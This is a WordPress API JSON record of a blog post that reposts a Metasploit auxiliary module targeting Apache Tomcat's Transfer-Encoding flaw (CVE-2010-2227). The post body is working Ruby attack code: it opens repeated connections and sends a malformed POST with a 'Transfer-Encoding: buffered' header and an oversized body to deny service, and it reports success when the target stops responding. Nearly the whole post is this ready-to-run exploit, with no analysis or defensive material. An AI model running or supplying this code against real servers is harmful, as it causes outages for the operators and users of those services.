{"id":59283,"date":"2024-08-31T21:20:07","date_gmt":"2024-08-31T18:20:07","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180512\/apache_tomcat_transfer_encoding.rb.txt"},"modified":"2024-08-31T21:20:07","modified_gmt":"2024-08-31T18:20:07","slug":"apache-tomcat-transfer-encoding-information-disclosure-and-denial-of-service","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/apache-tomcat-transfer-encoding-information-disclosure-and-denial-of-service\/","title":{"rendered":"Apache Tomcat Transfer-Encoding Information Disclosure and Denial of Service"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::Tcp<br \/>include Msf::Auxiliary::Dos<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Apache Tomcat Transfer-Encoding Information Disclosure and DoS&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 beta does not<br \/>properly handle an invalid Transfer-Encoding header, which allows remote attackers<br \/>to cause a denial of service (application outage) or obtain sensitive information<br \/>via a crafted header that interferes with &#8220;recycling of a buffer.&#8221;<br \/>},<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Steve Jones&#8217;, # original discoverer<br \/>&#8216;Hoagie &lt;andi[at]void.at&gt;&#8217;, # original public exploit<br \/>&#8216;Paulino Calderon &lt;calderon[at]websec.mx&gt;&#8217;, # metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;CVE&#8217;, &#8216;2010-2227&#8217; ],<br \/>[ &#8216;OSVDB&#8217;, &#8216;66319&#8217; ],<br \/>[ &#8216;BID&#8217;, &#8216;41544&#8217; ]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2010-07-09&#8217;))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(8000),<br \/>OptInt.new(&#8216;RLIMIT&#8217;, [ true, &#8220;Number of requests to send&#8221;, 25])<br \/>])<br \/>end<\/p>\n<p>def run<br \/>for x in 1..datastore[&#8216;RLIMIT&#8217;]begin<br \/>connect<br \/>print_status(&#8220;Sending DoS packet #{x} to #{rhost}:#{rport}&#8221;)<\/p>\n<p>sploit = &#8220;POST \/ HTTP\/1.1\\r\\n&#8221;<br \/>sploit &lt;&lt; &#8220;Host: &#8221; + rhost + &#8220;\\r\\n&#8221;<br \/>sploit &lt;&lt; &#8220;Transfer-Encoding: buffered\\r\\n&#8221;<br \/>sploit &lt;&lt; &#8220;Content-Length: 65537\\r\\n\\r\\n&#8221;<br \/>sploit &lt;&lt; Rex::Text.rand_text_alpha(1) * 65537<\/p>\n<p>sock.put(sploit + &#8220;\\r\\n\\r\\n&#8221;)<br \/>disconnect<\/p>\n<p>print_error(&#8220;DoS packet unsuccessful&#8221;)<br \/>rescue ::Rex::ConnectionRefused<br \/>print_error(&#8220;Unable to connect to #{rhost}:#{rport}&#8221;)<br \/>rescue ::Errno::ECONNRESET<br \/>print_good(&#8220;DoS packet successful. #{rhost} not responding.&#8221;)<br \/>rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout<br \/>print_error(&#8220;Couldn&#8217;t connect to #{rhost}:#{rport}&#8221;)<br \/>rescue ::Timeout::Error, ::Errno::EPIPE<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Dos def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Apache Tomcat Transfer-Encoding Information Disclosure and DoS&#8217;,&#8216;Description&#8217; =&gt; %q{Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 beta does notproperly handle an invalid Transfer-Encoding header, which allows remote attackersto cause a denial of service &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59283","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59283","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59283"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59283\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59283"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59283"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59283"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}